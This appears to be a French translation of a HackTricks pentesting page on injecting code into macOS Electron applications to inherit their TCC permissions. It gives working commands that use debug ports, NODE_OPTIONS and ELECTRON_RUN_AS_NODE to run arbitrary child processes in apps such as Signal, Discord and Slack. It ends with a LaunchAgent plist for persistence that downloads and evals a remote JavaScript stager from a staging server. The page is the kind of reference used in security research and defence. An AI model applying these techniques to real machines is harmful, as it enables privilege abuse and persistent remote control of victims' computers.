hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md

7.7 KiB

Injection dans les applications Electron macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Ajout de code aux applications Electron

Le code JS d'une application Electron n'est pas signé, donc un attaquant pourrait déplacer l'application vers un emplacement inscriptible, injecter un code JS malveillant et lancer cette application pour abuser des autorisations TCC.

Cependant, l'autorisation kTCCServiceSystemPolicyAppBundles est nécessaire pour modifier une application, donc par défaut cela n'est plus possible.

Inspection d'une application Electron

Selon ce lien, si vous exécutez une application Electron avec des indicateurs tels que --inspect, --inspect-brk et --remote-debugging-port, un port de débogage sera ouvert afin que vous puissiez vous y connecter (par exemple depuis Chrome dans chrome://inspect) et vous pourrez injecter du code ou même lancer de nouveaux processus.
Par exemple :

{% code overflow="wrap" %}

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

{% hint style="danger" %} Notez que maintenant les applications Electron renforcées avec RunAsNode et EnableNodeCliInspectArguments sont désactivées et ignoreront les paramètres node (comme --inspect) lorsqu'elles sont lancées à moins que la variable d'environnement ELECTRON_RUN_AS_NODE ne soit définie.

Cependant, vous pouvez toujours utiliser le paramètre electron --remote-debugging-port=9229, mais la charge utile précédente ne fonctionnera pas pour exécuter d'autres processus.

Vous pouvez vérifier ces indicateurs à partir d'une application avec:

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

{% endhint %}

NODE_OPTIONS

{% hint style="warning" %} Cette variable d'environnement ne fonctionnera que si l'application Electron n'a pas été correctement sécurisée et le permet. Si elle est sécurisée, vous devrez également utiliser la variable d'environnement ELECTRON_RUN_AS_NODE. {% endhint %}

Avec cette combinaison, vous pouvez stocker la charge utile dans un fichier différent et exécuter ce fichier :

{% code overflow="wrap" %}

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

ELECTRON_RUN_AS_NODE

Selon la documentation, si cette variable d'environnement est définie, elle démarrera le processus en tant que processus Node.js normal.

{% code overflow="wrap" %}

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

Comme proposé ici, vous pourriez exploiter cette variable d'environnement dans un plist pour maintenir la persistance :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥